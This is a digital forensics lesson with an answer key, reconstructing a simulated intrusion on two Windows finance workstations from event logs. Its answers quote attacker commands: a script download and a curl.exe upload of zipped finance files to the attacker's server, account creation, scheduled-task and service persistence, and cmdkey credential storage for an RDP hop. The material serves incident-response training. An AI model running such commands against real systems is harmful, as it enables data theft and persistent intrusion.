Lesson 14.2

Capstone: Halden Freight office intrusion (Windows)

A full DFIR investigation of two Windows workstations: password guessing, an RDP takeover, four kinds of persistence, staging and upload of finance files, and a lateral move, with an answer key checked against the evidence.

90 minEveryone
At a glance for experienced analysts
  • Evidence: HF-WS01 and HF-WS02 from the practice set, two finance workstations. Eight questions with an answer key.
  • Windows sources: Security log (4625, 4624, 4688, 4720, 4732, 4698), PowerShell script-block logging (4104), System log, USN journal.
  • Expected: password guessing, an RDP logon, discovery, four kinds of persistence, a zip of finance files uploaded, and a hop to the second workstation with stored credentials.

The brief

At 22:20 UTC on 1 December 2026, Halden Freight’s IT received an alert: a new local administrator, svc_backup, had appeared on finance workstation HF-WS01. Collections were taken from HF-WS01 and its neighbour HF-WS02. The office network is 10.211.55.0/24; HF-WS01 is 10.211.55.6 and HF-WS02 is 10.211.55.7. Find out how the attacker got in, what they did, what they took, and where else they went.

1. Getting in

Which accounts were guessed, from where, and which one worked? Security 4625 and 4624, grouped by source and account.

Answer

From 10.211.55.2, between 22:02:58 and 22:04:20: administrator, finance, admin and scanner five times each, and a.berg fifteen times. At 22:05:03 a.berg logged on over the network from the same address, and at 22:05:05 by RDP (logon type 10, remote interactive).

2. Looking around

What did the intruder do in the first three minutes? 4688 process creation and PowerShell 4104 for a.berg after 22:05.

Answer

PowerShell opened at 22:07:07, then whoami /all, net user, net localgroup administrators, ipconfig /all, systeminfo, net share, quser and arp -a. At 22:08:16 they listed Documents and Desktop, at 22:08:23 searched text files for “pw” and “password”, and at 22:08:29 read Desktop\IT-notes.txt.

3. Tooling

What did they download, and from where?

Answer

They created C:\ProgramData\HFUpdate (22:08:43) and downloaded u.ps1 from http://10.211.55.2:8443/ as C:\ProgramData\HFUpdate\hfupdate.ps1 (22:08:48), then read it.

4. Persistence

Name the four ways the attacker set up to keep access. 4688, 4104, 4720, 4732, 4698.

Answer
  1. Run key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\HFUpdate, running the script hidden (22:09:03).
  2. Account: after elevating with Start-Process powershell -Verb RunAs (22:09:08), net user svc_backup … /add (4720 at 22:09:40) and adding it to Administrators (4732 at 22:09:45). The password was typed on the command line, so it is in the logs.
  3. Scheduled task: HFUpdateCheck, every 15 minutes as SYSTEM (4698 at 22:09:56).
  4. Service: HFUpdateSvc, auto-start, running the same script (22:10:02).

5. Staging and upload

What did they take, and how did it leave?

Answer

Compress-Archive -Path C:\Users\a.berg\Documents\Finance\* -DestinationPath C:\Users\Public\Documents\q4-close.zip (22:10:09), then curl.exe -T … http://10.211.55.2:8443/upload/q4-close.zip (22:10:22). The zip was deleted at 22:14:06.

6. Moving to HF-WS02

How did the attacker reach the second workstation, and with whose account?

Answer

On HF-WS01: AuthenticationLevelOverride set to 0 for the RDP client (22:10:49), cmdkey /generic:TERMSRV/HF-WS02 /user:HF-WS02\m.lund /pass:… storing m.lund’s password (22:10:54), then mstsc /v:HF-WS02 (22:10:58). On HF-WS02: m.lund logged on from 10.211.55.6 at 22:10:59. Inferred: the password came from IT-notes.txt, read two minutes earlier.

7. On HF-WS02

What did the attacker do there, and how did they use what they had set up on HF-WS01?

Answer

As m.lund: whoami /all, net user, net localgroup administrators, then net use \\HF-WS01\C$ as HF-WS01\svc_backup (22:12:18), which HF-WS01 records as a network logon from 10.211.55.7. Disconnected at 22:12:38. The same u.ps1 was downloaded (22:13:12) and the same HFUpdateCheck task created (22:13:26), then logoff (22:13:44). HF-WS01 also has a failed logon as m.lund from 10.211.55.7 at 22:12:35.

8. Covering tracks

What did they clean up, and what did they miss?

Answer

On HF-WS01: deleted the zip (22:14:06), removed the stored credential with cmdkey /delete (22:14:10), and deleted PowerShell’s history file (22:14:16). Script-block logging (4104) and process creation (4688) had already recorded every command, including the deleted ones.

Limits to state

  • The contents of hfupdate.ps1 and q4-close.zip are not in the collection.
  • 10.211.55.2, the source of the attack and the upload server, was not collected.
  • Whether HF-WS02’s own files were taken is not shown in these records.

Check yourself

1. The attacker deleted PowerShell's history file. Where are the commands still recorded?
Progress is saved in this browser only.